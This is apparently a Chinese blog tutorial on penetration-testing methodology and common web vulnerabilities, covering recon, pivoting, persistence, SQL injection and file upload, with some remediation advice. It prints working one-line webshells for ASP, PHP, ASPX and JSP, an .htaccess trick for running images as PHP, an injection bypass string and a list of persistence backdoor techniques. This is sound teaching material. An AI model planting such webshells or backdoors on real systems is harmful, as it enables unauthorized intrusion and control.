网络安全学习-常见安全漏洞检测以及修复方法-1

news/2025/2/26 7:45:21

渗*透测试

  • 渗透测试就是模拟攻击者入侵系统,对系统进行一步步渗透,发现系统的脆弱环节和隐藏风险。
  • 形成测试报告提供给系统的所有者,所有者根据报告对系统进行加固,提升系统的安全性,防止真正的攻击者入侵。

渗透测试步骤

  • 准备阶段
  • 信息收集
  • 漏洞探测
  • 漏洞利用
  • 内网转发
  • 内网渗透
  • 痕迹清除
  • 撰写报告

准备阶段任务

  • 定制实施方案
  • 渗透测试授权
  • 渗透测试目标确认
  • 测试环境确认
  • 渗透测试范围和深度
  • 渗透测试时间确认
  • 渗透测试风险管理

信息收集

  • 信息收i就是渗透测试前期的必要阶段,因为系统的风险通常存在于不易发现的脆弱环节。
  • 主动收集,直接对目标进行访问或者扫描,优点能够获取更多信息,劣势可能会在目标上留下记录
  • 被动信息收集,通过第三方服务收集目标的信息,优点是不会被目标发现,劣势,收集的信息较少
域名信息
  • 包括IP,whois,子域名,DNS记录

首先尧判断域名是否存在CDN的情况,可以利用CDN查询网站 如http://ping.chinaz.com,如果查询的出现的IP数量有多个,则该IP不是真实服务器的IP,可以通过查询主域名或者子域名,邮件服务器,以及查询DNS记录的方式获得真实IP

子域名收集工具有Layer子域名挖掘机,findomain,subDomainBrure等,除此值之外还可以利用第三方服务收i就子域名

公网信息

目标的任何相关信息,如员工邮箱,姓名,手机号。在github上等托管平台查找敏感信息和口令获取,如数据库信息,邮箱账号信息,源代码等。

网站指纹

包括四个方面

  • 服务器类型(windwos,linux)
  • 脚本类型(php,js,asp,apsx)
  • 网站容器(apache,nginx.tomcat,IIs)
  • 数据库类型( mysql,oracle,access,sqlserver)

常用的工具,whatweb,BugScaner等

开放端口
  • 22 ssh弱口令
  • 3306 mysql弱口令
  • 6379 redis未授权访问
  • 7001 weblogic相关漏洞
  • 8080 Tomcat相关漏洞

扫描工具nmap,railgun

敏感目录

敏感目录也是进行渗透测试的重要突破口,如后台目录可利用弱口令,SQL注入或者爆破的方式进入,以及对上传目录,mysql管理接口,phpinfo或者编辑器等利用

敏感目录扫描工具有,御剑,dirbuster,wwwscan,okadminifinder,dirmap

旁站和C段

旁站指的是同一服务器上其他的网站,当目标较难进行一步步渗透的情况下,可以通过旁站进行渗透,若能通过旁站拿到服务器的权限。

C段指的是同一内网网段内的其他服务器,指导是对与目标同一C段中的其中的一台服务器进行渗透并提权,再以得到的权限的这台服务器作为跳板对目标服务器进行渗透。

常用扫描工具
  • Nessus
  • X-SCAN
  • Nmap

漏洞探测

在进行信息收集之后,就要对网站进行漏洞探测,

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_服务器" height="540" src="https://i-blog.csdnimg.cn/img_convert/1d4917429506d65ecd76967b29dfb4e6.png" width="1063" />

漏洞探测思路

对漏洞的探测并非没有方向,而是尧根据收集的信息,对可能出现的漏洞进行排查;

  • 注入型漏洞

本质上是由于违背“数据与代码分离原则”产生的漏洞。利用条件两个,一个是用户能够控制数据的输入,二是代码拼凑用户输入的数据,把用户输入的数据错当成代码执行了。

主要包括SQL注入漏洞,XXE漏洞,CRLF注入,命令执行和代码执行漏洞。

  • 文件型号漏洞

主要包括文件上传漏洞,文件解析漏洞,文件包含漏洞,目录遍历漏洞和任意文件读取或者下载漏洞。

  • 跨站型漏洞

该类型的漏洞主要通过跨站或者跨域的凡是进行攻击,主要包括SSRF漏洞,CORS漏洞,JSONP,XSS,CSRF.

  • 配置型漏洞

配置型漏洞往往是网站的运维人员错误配置所导致的,主要包括未授权访问漏洞,不安全的HTTP方法,Host头部攻击等。

  • 反序列化漏洞

反序列化漏洞是近年来常用漏洞,反序列化就是指把对对象转化为字节序列的过程,而反序列化就是他的逆过程。

常见的反序列化漏洞包括fastjson反序列化漏洞,JBoss反序列化漏洞,Apache Shiro反序列化漏洞,Weblogic反序列化漏洞等。

  • 逻辑型漏洞

  主要由于系统设计产生的逻辑漏洞,如在注册,登录和密码修改的功能上可能会存在逻辑漏洞,除此之外还包括条件竞争,HTTP参数污染,越权访问等。

  • 服务器型漏洞

Web服务器作为WEB应用的载体,若载体出现安全问题,那么WEB应用程序的安全性也就无法得到保证。

  • 第三方库漏洞

很多网站会利用第三方库来增强网站功能,但是若是第三方库本身出现漏洞,往往会成为一个攻击电。如fastjson,Struts2,JQuery,OpenSSL等。

内网转发

传统的网络安全是基于防火墙的物理边界防御,将网络的类型被分为内网和外网两大类。通常认为内网是安全的,内部的资产,人员都是已知的,可控的,而外部网络是危险的,所有的外部网络信息都是未知,无法控制的。

当我们获取外网服务器后的一定权限后,发现这台服务器可以直接或者间接的访问内网,而内网的一些主机不允许外网直接访问,这个时候就可以通过端口转发(隧道)将拿到的外网服务器设置为代理,这一过程就成为内网转发。

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_上传_02" height="538" src="https://i-blog.csdnimg.cn/img_convert/f956cfd2056f7246ce7a4499a3388afb.png" width="984" />

内网转发思路

内网转发通常需要判断已经拿到的权限的主机是否出网,如果目标出网则可以使用反向代理,若目标不出网,则无法使用反向代理,此时可以根据使用正向代理或者端口复用。

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_上传_03" height="389" src="https://i-blog.csdnimg.cn/img_convert/318311a1f732197abd32af06dd41faf0.png" width="893" />

reGeorg结合proxychains代理链(HTTP隧道),适用于开放80端口情况

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_内网_04" height="310" src="https://i-blog.csdnimg.cn/img_convert/9444f81eb7c1586be1cd81e2bde20f3d.png" width="963" />

例如,现在拿到了一台WINDOWS主机的账号,密码和权限,现在想通过远程RDP连接到该主机,该主机3389端口只对内网开放,不对外网开放,所以我们以使用lcx等本地端口转发,将3389流量转发到33389端口上。

内网渗透

常见的攻击方式。

  • 非域环境

MS17-010

哈西传递工具

Access Token窃取与利用

mimkatz获取RDP

  • 域环境

MS14-068

票据传递工具

AS-REP Roasting

Kerberoast工具

权限维持
  • web后门

1隐藏后门文件

2404页面隐藏后门

  • windows系统

1建立隐藏用户,在用户后面加$s

2在开机启动目录下放置木马文件

3MSF中的persistence模块

4远程桌面会话劫持

  • Linux系统

1.SSH后门

2crontab定时任务

3 SSh公钥

4创建SUID=0的用户

渗透后收尾确认

成果整理

形成报告

常见漏洞攻击

SQL注入

  • 原理

SQL注入分为平台层注入和代码层注入。前者是不安全的数据库配置或者数据平台漏洞所导致,后者由于程序的未对输入的内容进行过滤导致。本质上都是对由于对用户输入的合法性没有判断和过滤,导致前端输入后端的参数可控。

通过SQL注入,可以实现数据库的增删改查,如果数据库的权限足够大,还可以对操作系统执行操作。

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_上传_05" height="477" src="https://i-blog.csdnimg.cn/img_convert/c37671200a5657bdcf5716dda79d5c27.png" width="552" />

分类
  • 注入点类型

数字,字符串,搜索类型

  • 提交方式

GET,POST,Cookie,HTTP头

  • 获取方式

基于布尔盲注,基于时间的盲注,基于报错的盲注,联合查询注入,堆查询注入。

成因
$name=$_POST['USERNAME'];
$pwd=$_POST['PASSWORD'];
$sql="select * from admin where user='$name' and password='$pwd'";
$query=mysql_query($sql);

当正常数据用户名admin,密码123456的时候。

select * from admin where user='admin' and password='123456'

当构造sql语句提交用户名admin,密码1' or '1'='1的时候;

select * from admin where user='admin' and password= '1' or '1'='1'

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_上传_06" height="287" src="https://i-blog.csdnimg.cn/img_convert/1319be7d6588697db55dc3ec24bcbc27.png" width="1161" />

通用测试法则
  • 引号或者括号

http://abc.com/?id=1'

select * from tables where id='1";

sql解析引擎报错

  • 条件

1 and 1=1 数字型

1' and 1=1  字符型

select * from tables where id='1' and 1=1

访问正常

  • 条件

1 amd 1=2 数字型

1' and 1=2 字符型

select * from tables where id='1' and 1=2

访问异常

sql注入-盲注

在测试的时候还需要进行Timing Attack测试,即基于时间的盲注,在这种情况下通过and 1=2这种简单的方式是无法看出异常的。

如果在MySQL的Benchmark()函数是用于测试性能的,该函数能够让同一个函数执行若干次,使得结果反馈的时间比平时要长,通过时间长短变化判断注入语句是否成功。

SQL注入-漏洞的通用修复方案

 关键字过滤

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_内网_07" height="557" src="https://i-blog.csdnimg.cn/img_convert/2e41def8998ed856e890c471cad2a87a.png" width="1128" />

文件上传漏洞

文件上传指的是攻击者上传了一个可执行文件到服务器执行,该文件可能是木马,病毒,恶意脚本或者webshell.

该漏洞的成因是对用户上传的部分控制不足或者处理缺陷导致,用户可以越过本身权限向服务器上传可执行的动态脚本文件。

通常情况下会利用文件山川漏洞上传木马,并且工具连接获取webshell.

利用条件

1 网站要有能够上传文件的地方,因此遇到某个文件上传点的时候,应当测试是否存在文件上传漏洞

2 上传的文件能够被当成脚本文件执行,所以通常会和文件包含漏洞和文件解析漏洞一起利用

3 能够访问到文件上传文件的路径

4 一般用户上传文档,图片,攻击者上传可执行文件文件webshell

什么是webshell

网页后门或者网页木马,以asp,php,jsp,cgi等网页文件形式存在的一种命令执行环境;黑客可以通过访问  webshell上传下载为文件,查看数据库,执行操作系统命令。

利用思路

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_服务器_08" height="574" src="https://i-blog.csdnimg.cn/img_convert/61b8f2f772c396c355a6973295d63f56.png" width="995" />

上传流程

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_服务器_09" height="529" src="https://i-blog.csdnimg.cn/img_convert/ee8aeff55cecce07ef3b96564872c0e9.png" width="824" />

Webshell

一句话木马

asp

<%execute(request("value"))%>

php

@eval($_POST[value];?>

aspx

<%@ Page Language="Jscript"%>
<%eval(Request.item["value"])%>

jsp

<% if(request.getParameter("f")!=null)
(new java.io.FileOutputStream(application.getRealPath("\\")+
request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
.htaccess配置文件

htaccess文件是  apache 服务器中的一个配置文件,他负责相关目录下的网页配置。通过该文件,可以实现网页301重定向,定义404错误页面,改变文件扩展名,允许/阻止特定的用户或者目录访问,禁止目录列表,配置默认文档,配置RewriteRule规则等功能。

在渗透测试中,可以通过上传特定的htaccess文件,将所有的.jpg后缀文件当作php文件进行解析。

利用条件:

1 能够上传.htaccess文件,一般为黑名单限制。

2 AllowOverride All ,默认配置为关闭None

3 LoadModule rewrite_module modules/mod_rewrite.so 模块为开启状态

4.上传目录具有可执行权限

绕过校验

网络<a class=安全学习-常见安全漏洞检测以及修复方法-1_服务器_10" height="429" src="https://i-blog.csdnimg.cn/img_convert/32900578510c4ae4d1a28cc655322ea7.png" width="1336" />

文件上传防御方式

1、客户端检测,使用js对上传图片检测,包括文件大小,文件扩展名,文件类型;

2、服务端检测,对文件大小,文件路径,文件扩展名,文件类型,文件内容进行检测,并对上传的为你教案随机命名等。而且服务端采用白名单的方式检查文件扩展名

3、服务端上传目录设置不可执行权限。

4、检查网站是否存在文件解析漏洞和文件包含漏洞;

5、将文件上传到单独的文件服务器,并且单独设置文件服务器域名。

6.上传文件的目录是http请求无法直接访问到的。

网络安全学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

需要网络安全学习路线和视频教程的可以在评论区留言哦~

最后

给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

黑客工具&SRC技术文档&PDF书籍&安全>web安全等(可分享)

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失


http://www.niftyadmin.cn/n/5868326.html

相关文章

BUU41 [GYCTF2020]FlaskApp1【SSTI】

题目&#xff1a; 加密处没啥事&#xff0c;但是解密的地方提交{{7*7}}就会返回报错界面&#xff0c;顺便把代码也爆出来了 text_decode base64.b64decode(text.encode()) 先将字符串 text编码为字节对象&#xff0c;然后使用 base64.b64decode 函数对这个字节对象进行 Base…

【多语言生态篇三】【DeepSeek×Go:高并发推理服务设计】

第一章:项目背景与选型考量 1.1 DeepSeek推理服务的业务挑战 日均请求量突破1.2亿次(峰值QPS达38万) 典型请求特征:50ms超时限制 | 10KB输入+2KB响应 流量特征:工作日周期性波动(早10点至晚8点负载增长300%) 1.2 Go语言脱颖而出的五大优势 (敲黑板!这里用餐馆厨房…

自动驾驶两个传感器之间的坐标系转换

有两种方式可以实现两个坐标系的转换。 车身坐标系下一个点p_car&#xff0c;需要转换到相机坐标系下&#xff0c;旋转矩阵R_car2Cam&#xff0c;平移矩阵T_car2Cam。点p_car在相机坐标系下记p_cam. 方法1&#xff1a;先旋转再平移 p_cam T_car2Cam * p_car T_car2Cam 需要注…

【JavaWeb13】了解ES6的核心特性,对于提高JavaScript编程效率有哪些潜在影响?

文章目录 &#x1f30d;一. ES6 新特性❄️1. ES6 基本介绍❄️2. 基本使用2.1 let 声明变量2.2 const 声明常量/只读变量2.3 解构赋值2.4 模板字符串2.5 对象拓展运算符2.6 箭头函数 &#x1f30d;二. Promise❄️1. 基本使用❄️2. 如何解决回调地狱问题2.1回调地狱问题2.2 使…

【SpringBoot】——分组校验、自定义注解、登入验证(集成redis)、属性配置方式、多环境开发系统学习知识

&#x1f3bc;个人主页&#xff1a;【Y小夜】 &#x1f60e;作者简介&#xff1a;一位双非学校的大三学生&#xff0c;编程爱好者&#xff0c; 专注于基础和实战分享&#xff0c;欢迎私信咨询&#xff01; &#x1f386;入门专栏&#xff1a;&#x1f387;【MySQL&#xff0…

【uniapp】上传文件流图片

需求&#xff1a;从接口下载指定文件&#xff0c;把这个文件再上传到后端。 背景&#xff1a;文件的上传、下载接口都是现有的&#xff0c;原本在pc端下载使用的responseType为blob&#xff0c;在uniapp不支持。如果按照原本的方式请求接口&#xff0c;返回的值会是字符串&…

【算法基础篇】-字符串

字符串篇 一、最长回文子串二、二进制求和三、字符串相乘今日分享这里 一、最长回文子串 最长回文子串 给你一个字符串 s&#xff0c;找到 s 中最长的 回文 子串。 讲解&#xff1a; 我们这里使用的是中心扩展方法&#xff0c;其实类似于暴力枚举&#xff0c;但是时间复杂度…

Java集合性能优化面试题

Java集合性能优化面试题 初始化优化 Q1: 如何优化集合的初始化&#xff1f; public class CollectionInitializationExample {// 1. 合理设置初始容量public void initializationOptimization() {// 不好的实践&#xff1a;使用默认容量List<String> badList new Arr…